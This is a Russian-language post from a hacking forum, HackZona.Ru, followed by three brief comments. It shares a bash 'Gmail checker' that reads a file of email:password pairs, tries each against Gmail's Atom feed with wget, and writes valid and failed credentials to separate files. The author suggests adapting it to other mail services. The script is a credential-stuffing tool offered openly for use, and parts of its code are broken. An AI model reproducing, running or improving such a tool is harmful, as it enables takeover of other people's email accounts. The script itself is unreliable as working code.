Bash Gmail-checker — HackZona.Ru

Bash Gmail-checker

Bash Gmail-checker

Тип статьи:
Со старой ХакЗоны.
Источник:
Возникла необходимость, проверить несколько gmail аккаунтов на валидность пары логин-пасс. После непродолжительного гугления наверстал небольшой скрипт, бъющий исходный файл на два (с валиднымт данными и с некорректными):

#!/bin/bash
echo "+=====================+"
echo "| Gmail checker v 0.1 |"
echo "| Author: SpxnezzaR |"
echo "| icq: 602296 |"
echo "+=====================+"

if [ "$#" -eq 0 ]
then
echo 'file not defined!'
echo 'please define file with accounts!'
echo 'example:'
echo $0' accounts.txt'
exit 0
fi

error()
{
printf "$@" >&2
echo
exit
}
ls $1 > null || error $«file $1 not found!»
echo «script name: $0»
echo parsing file $1
#parsing account file:
OIFS=$IFS;
atomfile="./atom"
if [ -a $atomfile ];
then
rm atom
fi
goodfile="./good.txt"
if [ -a $goodfile ];
then
touch good.txt
fi
badfile="./bad.txt"
if [ -a $badfile ];
then
touch bad.txt
fi
IFS=:
echo "===================="
while read mail pass
do
login=echo $mail | sed -r 's/([^@]+)@.+/1/'
wget --no-check-certificate -q --user=$login --password=$pass mail.googl e.com/mail/feed/atom
if [ -a $atomfile ];
then
echo "+>$mail ($pass) — valid"
rm atom
echo "${mail}:${pass}" >> good.txt
else
echo "$mail ($pass) — failed"
echo "${mail}:${pass}" >> bad.txt
fi
done < $1
echo "=================="
echo «parsing file done!»
IFS=$OIFS

Как видно на входе нужно дать файл со строками формата user@gmail.com:password
gmail.com в строке обусловлено имеющимся списком (вырезать было лень), да и по условию потом будет проще адаптировать (при модификации) к другому почтовому сервису.
Конечно необходима дороботка, в первую очередь при использовании wget избавиться от скачвания atom файла, а ограничиться получением, возвращаемым кодом от сервера. Но я думаю на скорую руку сойдет, а кому нужен больший функционал, тот сам поправит под себя.
Нравится
Не нравится

3 комментария

10:11
Кул.
13:11
а че не скачивается?!
08:36
а тут ниче скачиваться и не должно =)